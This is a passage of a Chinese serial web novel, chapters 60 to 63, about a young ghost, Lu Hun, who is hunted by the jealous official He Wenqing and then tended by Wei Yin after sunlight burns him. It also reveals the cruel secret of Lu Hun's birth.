他亲眼见着,陆魂没有像人那样,拿筷子往嘴里用饭,而是,闭着眼,用鼻子吸食着,从饭菜里跑出丝丝缕缕的东西,进入到了陆魂体内。 然后,他的伤就愈合了! 贺文卿是不信这些的,打死他都不信。 可却亲眼目睹了如此诡异的一幕。 一个震惊而又颠覆的念头,在他脑海中霎那间浮现出来。 这个叫陆魂的少年,这个与魏姻不清不楚的十六岁少年,他,根本就不是人! 贺文卿用力睁开眼睛,面容愕然,似乎连他自己都无法相信这样荒诞无稽的事。 第60章 “文卿。”书房门外,恰在此时响起他母亲贺夫人的声音。 贺文卿捂了下脸,才道:“怎么了,母亲?” 贺夫人端着一碟子糕点走进来,她以为贺文卿在看书,便笑道:“前些日子,你不是说你想吃母亲亲手做的这个糕么,母亲今日有些空闲,就做了些,你趁热尝尝。” 贺文卿接过,谢了贺夫人。 贺夫人却没有立即走的意思,想起什么,询问道:“文卿,我怎么听说昨晚你与魏姻的那个什么表弟动了手,可是真的假的?” 贺文卿觉得丢脸面,不愿让贺夫人知道这件事,否认道:“没有这回事,母亲不要多虑了,府中人多口杂,难免爱以讹传讹。” “这就好。”贺夫人没好气地道:“我听说那魏姻表弟不过才十六岁的年纪,性子便古怪得很,每日都只藏在自己院子里看书,魏姻怎的将这么一个人带到咱们府里了?他若真敢伤了你,我饶不了他。” “母亲放心。”贺文卿此刻被匪夷所思的事弄得心神乱糟糟,没有心思再去应付,怕贺夫人问有的没的,他径自道:“我与那陆魂没什么事。” 他刚想让贺夫人快回去歇息,然而,却见贺夫人却不知怎的整个人发起愣来了。 贺文卿疑惑,“母亲,你怎的了?” 贺夫人忽然抓起他的手,这个贵妇人情绪波动地问:“文卿,你方才说什么?什么……陆魂?” “就是魏姻那个表弟么,他叫陆魂来着。”贺文卿很快察觉到母亲的不对劲,“母亲你怎么了?” 贺夫人面上出现了一瞬苍白,但她意识到贺文卿在打量她后,立刻将情绪给压住了,贺夫人尽量不动声色地朝他摇头,“……没事,方才听错了,以为是母亲认识的一个人。” 贺文卿心中藏事,到底没多疑,他亲自扶住贺夫人,送其出了书房,待贺夫人一出去,贺文卿刚落座,他信任的一个随从走了来。 回道:“大人,据说少夫人昨晚写了一封信,让陪嫁的人连夜往魏家送去。” 贺文卿思忖了片刻,就明白了,魏姻这是怕和离不了,给魏父写的。 他彻底冷下脸。 “去追,将信暗暗追回来,不许送到魏家。” 好好好,为了一个陆魂,她看来是当真动了要和离的念头。 想也不要想。 他绝对不会让她与陆魂苟且一起! 她生是他贺文卿的人,死也是他贺文卿的鬼。 贺文卿眼中,已然生出浓浓悲愤杀意,“拿着我的帖子,去城中请些高人回来,能灭鬼的高人——” 贺文卿不知道的是,方从他书房里头出来的贺夫人,却满头冷汗,脸色煞白,一副紧张无措的摸样匆匆直奔回去,丫鬟婆子给她端茶来,却被她冷冷呵斥了下去。 她慢慢瘫倒在上首的椅子上,胸脯剧烈喘着。 凝望住近处胆瓶上插的一枝秋海棠。 不会…… 不会的…… 不可能是他的,她是x亲眼看着他死在了火海里。 可魏姻这个表弟,为何会跟他如此相似?还一样姓陆,叫陆魂? 贺夫人闭上眼眸。 那是一个雪天,她独自一人,只带着一个心腹的婆子与她一起来到了那个有着一棵大槐树的陆家,而婆子手里,安静躺着一个尚且在襁褓里的孩子,他很安静,有着一双清秀的眉眼,不哭也不闹。 婆子都说,“我还从来没见过这样乖巧不哭闹的孩子,大公子刚出生那年,可哭闹个不停,谁都不让抱,就要夫人呢。” 贺夫人眸光却毫无情绪,只不耐烦地朝婆子摆摆手,“不要说了,让人听到。” 来开门的是一个怀着身孕的年轻妇人,模样端正温婉,看到贺夫人怔了一下,便很快疑惑笑问道:“夫人,您有什么事么?” 贺夫人并不怎么理会,只问:“这里可是陆家,陆明礼的住处?” 年轻妇人是陆夫人,愣愣道:“正是我的夫君。” 贺夫人便说,“去告诉陆明礼,让他出来。” 陆夫人不知道怎么一回事,目光下意识往贺夫人怀里的那个孩子张望眼,那孩子倒是长得粉嫩可爱,还乖乖朝着她笑了笑,陆夫人虽觉事情不太对劲,但到底还是扶着大肚子,往屋里去喊丈夫。 陆明礼几乎是踉跄着,从里头走出来的,这是一位二十来岁的青年人,样貌还不错,身量也很高,看起来文文雅雅的模样,可当他望见贺夫人,眼神用力震了震。 但那份愤怒被他强行给压了下去,他不动声色对妻子陆夫人说:“芸儿,外头雪大,你进去吧,我和这位夫人单独说两句话。” 陆夫人笑着离开了。 见状,方才还一脸柔情的陆明礼,这会儿面对贺夫人,脸色变得异常冷漠,“你来做什么?请回去,我不想看到你。” 贺夫人淡定笑了起来,抬手在陆明礼的脸上碰了碰,“陆先生,你也太没有良心了些,那夜你在我的床榻上,可不是如此模样,那时你抱得我可真叫一个紧,你当真是威武,连我那花丛里游惯了的夫君,都没有你这般有能耐,可让我记忆犹新了。” 陆明礼听着贺夫人的这番话,气得早已浑身发抖,“你这妇人!你这不知羞耻的妇人!那夜明明是你灌醉了我,又在房里点了催情香,我……” “可别说这话。”贺夫人冷笑打断,“那又如何,要怪也要怪你自己酒量不好,几杯下肚就糊里糊涂了。” 陆明礼无言以对。 他无声攥住拳头,跟着冷笑回讥,“可即使你如此煞费苦心,你夫君明明知道了,却对你仍是毫不在意,贺夫人,你做妻子做到这个份上,也是可悲。” 贺夫人仿佛被踩中了痛脚,几乎下意识要抬手,给对方一巴掌。 陆明礼往后退一步,冷静片刻,才问:“贺夫人,今日你来这里到底还想要做什么?若是你敢对芸儿不利,我便是撕破了脸皮,也绝不让你好过!” “放心。”贺夫人毫无兴趣道:“我只不过是,将你儿子给你送来了。” 她指着,婆子怀里的襁褓婴孩。 陆明礼脸色变得尤其难看,不敢置信,“你胡说什么?” “实话跟你说了吧,跟你那一夜之后,我就有了身孕,这几年我身子不好,若是不要他,大人小孩都会出事,所以我便生下了他。”贺夫人道。 陆明礼脸色更难看了,整个人都在发抖,摇摇欲坠,睁大眼眸瞪住面前安静的孩子。 贺夫人继续道:“你放心,贺家没人知道,你不会有什么麻烦,你也知道,我有丈夫有儿子,留不了他在身边的,只能将他抱来给你了,我晓得,你这个年纪至今都没有子嗣,如今让你白得一个亲生儿子,我也不算是亏待了你的那一场露水情分。” 陆明礼目眦欲裂地死死看住这个妇人,“你说什么?!谁要他了?谁要他了?即使我和芸儿这一辈子都没有子嗣,也不需要你的儿子!你给我抱走他!抱走他!他不是我的儿子,不是!” 贺夫人没理会他的愤怒,从婆子手里用力抱过孩子,径自往陆明礼怀里塞,陆明礼猛地推回去,贺夫人只得再次将其按进他的怀中。 见他不情愿,她威胁道: “陆明礼,你不要也得要,我告诉你,我反正今日是将他给了你了,也不算是对不住他了,至于你想将他怎样就怎样,随你的便,但我警告你,你若是敢将他送回贺家,或让人知道了他的母亲是谁,我会让你陆家,让你的夫人,都死无葬身之地,你若是不信,便尽管试试就是。” “不行。”陆明礼仍是不太情愿,“这孩子若是被我抱回去,怎么跟我夫人说啊?啊?她会知道那夜我们……我们夫妻恩爱多年,她如今还怀着身孕,受不住的!” “你告诉她,这孩子是你从外头捡回来的不就好了么?” “你!”陆明礼红眼怒道:“你个毒妇,我和我夫人夫妻恩爱,你为何要这样算计我?要坏我们夫妻情义,就因为你自己夫妻不睦,便见不得我和芸儿好,你个毒妇,毒妇!不要脸的毒妇!把你这个毒妇的儿子带回去,带回去!” 孩子在两人推来塞去的时候,被弄疼了,再也忍不住,低低啜泣了起来。 而他意识到什么,小手紧紧地握住了贺夫人的衣角,似乎不愿意离开母亲的身边。 可是贺夫人毫不留情,将他的小拳头辦开来。 身旁的婆子都有些看不过去了,轻声道:“夫人,这孩子还没有名字的,你到底也是他的生母,该给这孩子取个名字。” 贺夫人不耐烦,她还要赶回去照料儿子贺文卿,在此处耽误太久,会让人起疑。 她看着陆家院子里那道冒出墙垣的冲天大槐树,便道:“叫槐吧,跟他父亲姓陆就是。” 婆子皱眉:“夫人这也太随便了,到底是夫人你的骨肉呀……” 贺夫人怒了,不耐烦道:“槐不好,那就叫陆魂吧!真是阴魂不散,本来就是个不该出生在我肚子里的孩子!” 婆子不敢再多言了,生怕贺夫人一个恼怒,连这个名字都没有了,可一个活生生的孩子,却叫做阴魂的魂,实在是寓意不好。 以后不会是个短命的吧? 婆子被自己这个念头吓了一下,她怜悯望向那个在陆明礼怀里的婴孩,虽然还在哭着,但也只是静静地啜泣着,好像生怕扰了旁人……《 》 60-70 第61章 魏姻这两日养着风寒,鲜少出门,陆魂每日在她要用药时,都会过来一趟,这少年少言寡语惯了的,来了不怎么说话,默默端着个药碗送到她嘴边,安静等她喝完。 偶尔,少年才会将目光往她的鬓发银簪子上扫一眼。 看到她戴着不曾取下来,则微微抿抿唇,将药碗搁下,转身走人。 魏姻捧住药碗,巴巴张望着他来去突然的身影,摸住银簪。 少年的心思深沉。 但又,明显。 等到他晚上再来的时候,魏姻故意先将簪子给收了起来,陆魂一来,就注意到了,他抿唇不语,仍旧如常端碗让她吃药,只是目光常常阴郁地往她鬓发上流连片刻。 可直到要离去了,陆魂也没有说什么。 后来,还是魏姻放下药碗,将簪子从枕下取出,一边笑,一边将簪子递到他的眼底,道:“我说今儿你怎的一直往我发上看呢,原来是这支槐花簪子忘了戴,你替姐姐簪上吧。” 陆魂看到魏姻眼底揶揄的笑意。 明白她是故意逗他的。 面容立时泛起红。 他强忍着羞赧,颤颤接过簪子,倾身过去,将簪子重新为她戴上。 接着,不等魏姻再有话说,早已低下脑袋,起身离去。 魏姻看得直笑不已。 就这会儿,从来不到她房里来的贺夫人,登门了。 魏姻与她不合,不知道她今晚怎么过来了,贺夫人今晚倒是和平常不一样,对她格外和颜悦色。 “听宣华说,你这两日人病了,倒还好不算消瘦。” 魏姻闻言,不搭话。 贺夫人没有不耐烦,反而自顾自地在上首椅子坐下,忽然问道:“魏姻,我听说你有个表弟,这些天一直住在府里?” “是。”魏姻不明白她怎么忽然问起陆魂来了。 贺夫人跟着问:“你那表弟多大了?” 魏姻想了想,“十六了。” 贺夫人问:“他什么x模样?” 魏姻皱眉,不再回答,而是反问,“母亲怎的问起这个了?” “哎。”贺夫人自觉问得唐突,便立即停下,不动声色说道:“是我想到有个夫人的女儿,跟你这表弟年纪相仿,说不定能成就一段姻缘。” 魏姻想不到贺夫人还会有闲心操心自己的表弟,她向来懒得理魏姻的。 贺夫人见状,只得摆摆手说,“我就是随意问问,也没想着怎么样,你歇着吧,我回去了。” 魏姻被她弄得摸不着头脑。 贺夫人从魏姻这边离开后,很快又转道去了一趟陆魂所住的院子,但外头的下人说,陆魂一回来就歇下了,她无奈打消了念头。 下人又说道:“夫人恐难见着表少爷的,表少爷性子孤僻得很,从来不太见人的。” 贺夫人听得心底又是一咯噔。 她那个陆魂,便是如此一个个性。 贺夫人如今都还能回忆起,那个孩子安静寡默,眉眼低垂没有多少情绪的模样。 难不成,魏姻这个表弟,真的是…… 怎么可能? 他明明都已经死了,还是她亲眼看见的。 绝不可能是他。 也许有些像他吧,更何况,真若是他,自然不会愿意来到贺家,见她这个生身母亲的。 贺夫人自顾自摇摇头,可她抬头望着院子里头,心跳却总是不受控制跳动起来。 这天,陆魂正好又在魏姻的房里,便见陈宣华匆匆忙忙地从外头过来,魏姻刚要问她,陈宣华朝她摇摇头,说道:“姐姐,我有些事要与您说。” 魏姻怔愣住,“什么事?” 陈宣华紧张望望门外,又望望陆魂。 魏姻让外头的丫鬟将房门关上,道:“没事,他可以听,不必瞒他。” 见此,陈宣华方才说道:“姐姐,是这样的,我今日在郎君的书房,为他整理文案,却在他那看到了这封信,是藏在一尊胆瓶里的,胆瓶歪倒了,才发现的。” 魏姻接过,看了一眼,神情变了一变。 陈宣华歉疚道:“我无意间看见了一些,才知是姐姐写给您父亲,要与郎君和离的。” 不用说,是贺文卿将她给魏父的信追回来藏起了。 陈宣华担忧问:“姐姐,你当真要与郎君和离么?你们毕竟是多年的结发夫妻了……” 魏姻不语。 陈宣华不敢再多言,将信交了,又匆匆离开了。 魏姻看着手中信,生出不好的念头,“贺文卿将我写给父亲的信藏起来,分明是不肯与我和离的,荒州是他的地盘,我无法与父亲那边说……” 陆魂立在她身后,从她手里拿过信,轻声开口,“魏姐姐不用忧心,他能拦得了别人送信,拦不了裴老,我晚些时候,便替你将信送到裴老府上,他与文轩前辈是亲兄弟,再由他转送到京师,贺大人他也没有办法。” “你的伤?” 陆魂摇摇头,“这些天已好了许多,不碍事。” 陈宣华将信送到魏姻手上后,又立刻故作镇定地回到了贺文卿的书房,准备继续收拾整理。 可贺文卿此刻却在书房里头,见到陈宣华,于是问道:“丫鬟不是说你在我书房收拾么,你这是去了哪里?” 陈宣华不擅长撒谎,可为了不让贺文卿发现,硬着头皮道:“突然有些头晕……就先回房歇了歇。” 贺文卿嗯了声,“书房这里自有人收拾,你身子若不舒服,便回去歇着吧。” 陈宣华促狭着点点脑袋。 贺文卿想起什么,又忽然道:“那晚是我醉酒糊涂,吓着你了,你别在意。” 陈宣华瞬间想到了他指的是什么,面容一阵白一阵红,她一想起来仍是浑身发颤,加上心虚,身体当真有了几分不适,扶着额头走了。 贺文卿目送她离开,待她的身影从书房彻底消失了,才拿起一旁的胆瓶看了眼。 胆瓶里,什么信也没有了。 然而贺文卿并不意外,反而是一副意料之中的模样,他将胆瓶往原处继续摆着。 他清楚,陈宣华会常来书房替他收拾的。 看见歪倒的胆瓶自然是要看上一眼。 他冷冷勾起嘴角。 这时,之前那个去追信的随从又走了进来,对贺文卿回道:“大人,表少爷从少夫人处回去后,很快又出了府。” 贺文卿冷厉吩咐,“远远跟住他。” 陆魂亲自去裴老处送信,花不了太长时间,顶多半日就能回来,魏姻却不知怎的,总有些心慌如麻。 好像要出大事了一样。 在陆魂走后不过半个时辰。 贺文卿到来了,多日不见,他比之前整个人要显得冷厉许多,身后还跟着许多底下人,他一来,就让魏姻门口的几个丫鬟先下去伺候了,自个则径自朝魏姻走进来。 魏姻觉着,今日的他有些不对劲。 下意识往后退了一步。 贺文卿倒也不紧逼,只沉沉地盯着她看了一会儿。 魏姻躲闪着他的目光,“贺文卿,你想做什么?” “你放心。”贺文卿皮笑肉步笑,“你可是我的夫人,我能对你做什么?” 两人离的距离近,他身上那股冷笑传到魏姻身上,弄得她浑身鸡皮疙瘩都起来了。 “但我贺文卿此生。”贺文卿说了半句后,就将她身旁的桌案狠狠用力往外一踢,这桌案不算重,被他很容易就踢翻过去了,“绝不可能容忍他人觊觎我妻,给我当王八,尤其是,那个人,还是一个鬼。” 魏姻眸子重重睁开。 因为意外,眼睫剧烈颤抖起来。 贺文卿看到魏姻的表情,笑得更冷了,他故意凑近,几乎是贴住魏姻的脖颈上笑的。 几乎将魏姻弄得浑身都僵冷了。 贺文卿朝他带来的一些随从小厮吩咐道:“将夫人给看好了,若她出房门半步,唯尔等是问。” 这些人全应声说是,很快齐齐将整个小院都包围了起来。 贺文卿与魏姻已经夫妻彻底反目,撕破脸皮了。 再无多少情意。 贺文卿也就毫不掩饰自己的冷意,他在魏姻耳边笑了笑,“夫人,你便安心在家中等着,等着为夫将那只不知羞耻的鬼给你收回来,让你日日都看几眼,嗯?” 魏姻呆坐下去。 贺文卿转身就带人走了。 魏姻又猛地站起身。 贺文卿,他知道了陆魂不是人,他要陆魂的命! 可她才扶住门,就被贺文卿留下看守的人拦住了。 陈宣看到这个场景,再次吓住,想上前,也被拦住了,她怒,“怎么,我想去看看姐姐都不行么?” 对方严词回道:“大人说了,任何人,包括宣华夫人都不能去房里接近夫人。” 陈宣华进不来,只得隔着这些人,跟魏姻说,“姐姐,我看到郎君他带着许多僧人和方士出了府,这些人都是荒州和荒州附近的一些高人,郎君向来是不信鬼神的,他这究竟是想要做什么?究竟要去哪里呀?姐姐?” 魏姻听着陈宣华的话,怔怔望着眼前的一切,按按眉心。 她怎么忘了。 贺文卿这个人,自我,骄傲,是绝对要脸面的一个男人,往日她信鬼神,他都每每觉着她有失体统,有失大家妇人的脸面。 他是绝不会容忍妻子与旁的男人亲近的…… 想到贺文卿临走前,那狠厉冷峻的脸色,以及让人头皮发麻的笑声,她脸色都变得煞白了。 他找了那么多高人,明显是早有准备的模样。 仿佛…… 就在等着陆魂独自出府。 他要。 在陆魂去裴老那的路上,灭了陆魂! 魏姻手紧张抖了起来,胆战心惊。 陆魂…… 陆魂并不清楚贺文卿已经知道了他是鬼,更不知道贺文卿的打算,他,毫无防备的…… 第62章 贺文卿的人,将魏姻看守得死死的,别说陈宣华了,就连丫鬟进来送晚饭,都要经过他们的盘查,魏姻冷眼坐在房里头看着,陈宣华不时来外头张望几眼,却始终进不去,她想要出院子,也被人拦住。 陈宣华这个时候才想明白过来,在书房里找到的那封信,大约是贺文卿故意让她找着的。 丫鬟送来的饭菜,魏姻丝毫没有胃口。 陈宣华看魏姻如此担忧,心中有些愧疚不忍,在外头迟疑了片刻,立刻朝守卫道:“我要出去,我今日还没有去给母亲请安的,我要去给母亲请安,难道郎君还拦着你们不让我给母亲请安么?” 守卫们面面相觑,拗不过陈宣华,让人陪着她去。 陈宣华一到贺夫人面前,便说道:“母亲,郎君疑心姐姐与她的表弟,如今将姐姐关起来了,他x还带了许多人……要去杀姐姐的表弟,母亲,你快阻止郎君,若是惹了人命,就不好了……” 贺夫人几乎都没有注意到魏姻和陆魂的事,只听到了贺文卿要去杀陆魂,她一下子激动地站了起来。 “你说什么?文卿要去杀魏姻她表弟……” 陈宣华点点头,贺夫人攥攥衣角,面容晦涩半天不语,但片刻后,她似乎清醒了一些,又慢慢松开衣角坐了下去。 陈宣华不解地望向她,贺夫人则朝她摇摇脑袋,叹息口气。 在陈宣华去求贺夫人的时候,魏姻桌案前坐着,忽然有什么长长的东西软软地趴在了她的脖子后,并且朝她脖后轻轻碰了碰,魏姻一下子就想起来在阿珠记忆里的蛇,同样也是这样梗长了脖子,碰在她的身上。 她白着脸转回头看,却什么也没看到。 愣愣张望好久,连身后的角落都扫了一遍,根本没有蛇,她才坐回去。 可她刚坐回去,那长长的东西又碰了碰她的后脖子。 冰凉凉的。 无比诡异。 那长长东西似乎见她不回头了,觉得没意思了,这才慢悠悠地晃到了她的面前。 原来是破军这把剑。 魏姻没好气一把拍上它的脑袋,也就是剑柄地方。 “你还玩呢,陆魂都要死了。” 破军浮在空中愣了愣,似乎听得懂魏姻的话,瞬间,整个剑柄飞进了魏姻的手心里,剑尖转了个头,对准了门外的守卫。 接着,在魏姻根本没有反应过来的时候,唰地带着她,凌厉冲了出去。 门口守卫猝不及防一把剑会带着魏姻飞出来,闻所未闻瞪大了眼睛,破军是把已经有灵识的剑,曾经又跟着圣上征战,浑身杀气,只是两道剑气往四面扫压过去,那些守卫便抵挡不住了,被杀气吓得双腿瑟瑟发抖。 破军于是很轻松地就带着魏姻跑了出去。 魏姻喘了口气才晕乎乎地晃过来,不敢耽误,迅速去了马房,赶出一匹马,直奔文家老宅而去。 文家老宅离这里大概有大半日的路程,等魏姻赶过去,已是寅时时分,再过些时辰,马上就要天亮起来了。 大概在接近文家的一个小山坡上,远远的,听到了一些吵吵闹闹的打斗声,以及法器声,魏姻下马往前悄悄地看,就见许多人层层围起了一大块,里头到底在做什么,根本无法看到,而在这群人的身后,则在马头上坐着贺文卿,贺文卿朝里面冷笑。 魏姻走近了看,这群人将一个少年围在了里头,少年身上的衣袍上尽是大片大片浸透的黑血,甚至还有许多血从身上往外冒,将整个衣袍几乎都染成深黑色了,而拦截少年的这些人比少年更惨,几乎足有一大半的人都跪倒在了地上。 望见陆魂口中也在吐黑血,魏姻急得脸色惨白。 贺文卿无意一回头,发现了魏姻,他极其意外,“魏姻?!” 这一声“魏姻”,将被围困的少年也惊醒过来,他从地上直起身来,透过人群往外看。 贺文卿自然不会再给他们任何机会,下马来扯魏姻,然而还没等他近身,破军剑便飞了过去,对着他身上划了两道,它还不满意,似乎还要上去捅这个欺负它主人的男人两剑,贺文卿瞬间见了血,他瞪着这把朝自己追过来的剑,再顾不得魏姻,急忙往两位高人身后躲去。 魏姻对破军说,“别理他,快去找陆魂。” 破军飞了过去,重新落回陆魂手中。 有了破军的加持,陆魂一改方才的弱势,隐隐有占上风的趋势。 包围圈渐渐被陆魂开出了一个缺口。 那些人拦不住他了。 只能眼睁睁看着他破开缺口,朝魏姻而去。 可就在这时,鸡鸣声不知道从哪里响了起来,这个时候,有人激动叫道:“快!天马上就要亮了,死命围住他,天一亮,他就没办法了!” 于是,缺口又立即被接连堵上了。 陆魂面色紧绷住,他也知道被拖住了,使出最后的气力,朝着人群砍去,随着许多人的惨叫、倒下,缺口,又出现了。 陆魂刚要飞身冲出。 然而。 与此同时,天却亮了起来,日光照到了他的身上。 只听到滋滋滋的声音响起,像是肉在火炉上,陆魂一只腿很快跪倒在地上,有人轻轻朝他手上一打,破军剑便从他手中无力脱落下来。 “陆魂——” 魏姻大惊失色,从缺口处,朝他奔去。 少年满脸是血地倒在她的身上,日光照得他浑身都在滋滋响,身上的衣袍、皮肤几乎都在以肉眼可见的速度溃烂起来,魏姻泪眼朦胧地抱住这个十六岁的安静少年,拼命用自己的身体衣物去替他遮挡日光,可无论她怎么想尽办法去遮挡,那无情的日光仍毫无错缝地洒落在他的身上,将他的皮肤灼烂,她没有办法了,只能朝四周喊道。 “来人呀,拿把伞来呀,他要被灼烧死的。” 但是并无人理会。 陆魂无声地凝视住她。 他安静,沉默,连这一刻也依然不动声色,他是一个喜欢低头、不爱说话的人,平时并不怎么敢去看魏姻的脸。 可直到这一刻,他才有勇气直勾勾望着她。 他吃力地伸出手,伸出那双已经有些皮肤灼烂的手,摸住了魏姻鬓发上的槐花银簪子,少年忍着灼痛,第一次剖白心意。 “魏姻……这支簪子根本不是我母亲的,是我自己做的,是我在你十六岁生辰那年做的,准备送给你的……就是那天,你把自己带来的糕点给我吃,我却不小心弄洒在地上的那天……” “我记得那天……” “那你,喜欢这个簪子么?”他模棱两可地问。 魏姻愣了一下,她好像听出了少年的模棱两可,也模棱两可地点了点头,哽咽回道:“喜欢。” 贺文卿再无法容忍这一幕,他带人过来扯开陆魂。 魏姻紧紧拽住陆魂的手。 可他们还是将陆魂给扯了过去,他们将他拖到了日光最重的地方去,太阳也随之出来了,陆魂被日头一晒,疼得根本再无法起身,他只能蜷缩在地上,任由日光晒到他的全身各处,但他没有发出一点惨叫,他咬着牙忍耐,实在受不了了,才从喉咙里发出沉重怪异的闷哼声来。 魏姻则被贺文卿牢牢地抓住,她无可奈何,咬住贺文卿的手,贺文卿仍旧只挂着冷笑,任由她咬。 “都做什么做什么?!” 忽然从后方来了一行车马。 一个裴老的随从站在那儿,他一挥手,下来几个人,将被日头灼晒的陆魂给用黑布全身盖住,跟着转回身,将年过百岁的老人从里头扶了出来。 裴老皱眉,“陆家这孩子怎么了,快将他扶回我马车去。” 贺文卿大为不悦,可见是裴老,只好道:“老师,千万不能,你有所不知,这陆魂根本不是人,是个鬼来着,学生正在让人收了他,你看,他都被日头灼得身上烂了。” “胡说!” 裴老用拐杖砸地,呵斥道:“文卿,你好歹也是读书人,又是状元郎,从前也是端正不过的,如今怎的和妇人一样,相信这等无稽之谈了?!这陆家孩子不过是得了什么惧怕日光的怪病,你倒论起鬼神来了?” 贺文卿皱了皱眉头,“老师,他确实……” “不许说这些了,你简直荒唐,相信起这个,如此对待自己妻子的表弟,成何体统!”裴老不愿听他多说,“看你,将魏家这孩子也吓成什么样了,你也跟我回去吧。” 说完,转身就走。 “老师……”贺文卿不甘心。 “怎么。”裴老威严一扫,“你连老师的话,都不放在眼里了么?” 贺文卿只得,低下头去,“学生不敢。”- 文家离得近,裴老的人注意到了这边的动静,才知道他们出了事,魏姻是文轩的外孙女,裴老自然不能坐视不理,只得早早起身赶来。 不过倒还是晚了一步。 一到文家,陆魂就被抬去了房里,全身被灼得没多少好地方了,衣袍又破又烂还掺着血块黏在身上,十分难闻,魏姻想要脱下陆魂身上的衣袍,去看他里面的伤,顺便给他换件衣袍,但这少年即使昏昏沉沉躺着,也一样脸皮薄,说什么都死死攥住了自己的衣服,不肯让她看光他浑身上下。 即使魏姻说只是想换件衣裳,不看他身子。 他也坚持抿唇不肯。 魏姻有点被他的羞涩气笑了,都什么时候了,他怎么还在在意这种事情? 可他伤成这样了,也不好跟他生气,她于是低下头去,不在意他满脸血污x,抱住他的脖颈,主动贴上他的唇,一边哄着说:“那这样,可不可以让姐姐给你脱?” 第63章 陆魂一怔,攥着衣带的手猛地张开又拳起。 “还不行?那这样,可以吗?”魏姻低语着,轻易撬开他毫无防备的唇齿,勾缠住他发颤的舌尖,濡沫亲密无间交融在一起,也尝到了少年嘴里的血腥。 陆魂全身颤栗起来,不敢置信地睁大眼睛,他眼神一下子变了,魏姻见他神色松动,一边亲着他,一边去找他的手,她将十指尽数主动插进了少年的十指里,她的胸口紧紧压在少年不断起伏的胸口上,他没有心脏,但却仿佛能够听到少年的心脏在慌慌跳动。 魏姻起初,极力勾着他的舌尖与她的缠绕,而后又突然松开,远远往后退避开,少年失去了她的纠缠,瞬间惶惑盯住她的眼睛,攥着衣带的手无意识松开来。 魏姻眼里闪过笑意,这才再次将自己送上去给他,而她的一只手,却在少年一心专注亲吻时,伸手拉开了他的衣带。 直到衣物敞开,胸口一凉,少年才突然反应过来。 他呜咽着,“魏姐姐,不看,烂了……” 只见,敞开的衣物下,是许多溃烂的皮肤,他们如同一层层皱起来的树皮一样,很不堪入目,他伸手去攥住衣物,不愿意让魏姻再脱下去,看见他这样一身腐尸般的皮肤。 魏姻看少年抗拒,她只好一面继续吻他唇,一面解开自己的衣领,她执起少年的手指,放在她的颈上。 跟着,她离开了他的唇。 来到他的喉结处,轻轻张了张唇,去吻少年凸起来的喉结。 她从喉结,将他的胸口所有溃烂皮肤都一一吻过。 “不,不行,丑……” 陆魂看到她这样吻他烂掉的身子,整个身体都不由自主地剧烈战栗、发抖起来,他像是广袤海面的无助浮叶,而她是他的大海,她想怎样将他翻卷就怎样翻卷,想怎样拍打就拍打,想怎么蹂躏就怎么蹂躏。 魏姻依旧温柔笑望着他,并不理会他说自己身体丑烂的话语,继续去解开他余下的衣带。 陆魂躺在床上瑟瑟颤栗得很厉害,但因为她的亲吻,身上又不断生起激动的低哼来。 夹着几滴湿润的泪。 魏姻最终,还是将他身上衣物都脱了下来,早有下人将一盆温水连带手巾也送来,她在给少年换衣之前,拿着手巾沾上温水,先将他的身体擦拭干净。 少年死死闭着眼眸,怎么也不肯睁开眼,薄唇则被他用力抿住,而他的耳尖、脸颊、甚至是身体更绯红一片。 魏姻笑了一声,在给陆魂重新穿上衣物后,将他眼角的泪水也一一亲去,她看到少年几乎将唇快抿出血来了,她低头又朝少年唇上吻了吻。 “别咬自己了,我不看你就是了,你先睡会吧,我待会再来看你。” 直到魏姻关上房门走出去了,躺在床上的少年才终于松开了紧攥的被褥。 魏姻去了裴老那一趟,先把写给魏父的信交给了他,裴老二话不说答应给她送去,问起陆魂的伤。 裴老笑了笑,“我看过了,好在晒得不久,皮外伤居多,元神只有一点受损,这些日子好好将养,他自己再学着之前大哥怎么给他疗伤的,应该就恢复了。” “那他被灼烂的身体……” 裴老顿了顿,便从自己的房里,拿出了一瓷瓶递给魏姻,“这是大哥的东西,对灼伤鬼身很有效果,你每日都替他擦擦。” 魏姻感激道谢,若不是裴老及时赶来,陆魂已经灰飞烟灭了。 裴老朝她和蔼地笑笑,“别说了,快回去看看陆家那孩子吧,我看他就算受了那一身伤,恐怕今晚也睡不着觉。” 魏姻折回陆魂处,房里安安静静的,陆魂躺在床上一动不动,好像还是她临走前的姿势。 但魏姻很快就发现,少年其实没有睡着,他的眼睫在她倾身过去摸他身体有没有不舒服的时候,忍不住动了动。 说真的,魏姻从来没有见过像陆魂这样脸皮薄的少年,丫鬟先端了吃食过来,一份说是裴老专门给陆魂准备的补汤,闻着似乎滋补一点。 见陆魂根本没有睡,魏姻便用手背贴贴少年的脸,对他,她倒是很有耐心,哄小孩似的哄他,“不睡的话,就起来先将东西吃了好不好?” 陆魂睫毛颤颤,终于说话了,但眼睛却还紧紧闭着,“……姐姐,放那,你去歇息吧,我待会有力气了就自己起来吃。” 魏姻知道他还在害羞全身衣物被她脱掉的事,他伤成这样,哪还能有什么力气起身。 她故意笑道:“你再不睁眼,姐姐又要脱你衣裳了。” 陆魂似乎生怕她这样,唰地一下直接将眼睁开了。 少年看了她一眼,看到她嘴角故意的笑,才知道是在吓唬他,少年抿住唇,沉默偏过头去,看向另外一边。 魏姻端起汤碗,汤并不烫,温温的,捧在手里还有点温暖。 少年无法起身,只得就着她的手,一点点往身体里吸食着补汤。 丝丝气雾钻入他的身体。 魏姻问:“怎么样?好点了吗?” 少年身上还是很难受,但他轻轻点点头,“好点了。” “方才裴老给了姐姐一点东西,可以帮你恢复灼烂的鬼身,姐姐替你擦上去好不好?” “我自己擦。” 少年立即说。 “等你有力气了再擦好不好?”魏姻劝道:“你的伤不能耽误,若是等你有力气了,还不知道要多久去了,而且你身上这个样子,是不能让别人看到的,除了姐姐,只有裴老了,怎能麻烦他老人家?若是再耽误,兴许就恢复不了了,你听姐姐的,现在还是让姐姐来,行不行呀,陆魂?” 少年抿住唇,知道魏姻是非要替她擦的,于是,头再次往旁边偏去。 魏姻看出了少年的窘迫。 他既害羞,又不想让她看到他那一身恐怖身体。 她轻叹一声,轻轻扶过少年的身体,在他的唇上碰了碰,“你若是真的不想让姐姐看,姐姐把眼睛蒙住好不好?” 少年看向她。 魏姻见此,从身上拿出一条藕粉色的丝帕遮在眼上,同时,去解少年的衣物。 魏姻看不见后,少年这才没有闭眼,而是目不转睛,像个纯真孩童一样,盯着魏姻看。 陆魂只穿着一件里头的白色寝衣。 很容易脱。 但随着她的手在他的身上涂抹那种药膏。 他还是忍不住,发起抖来。 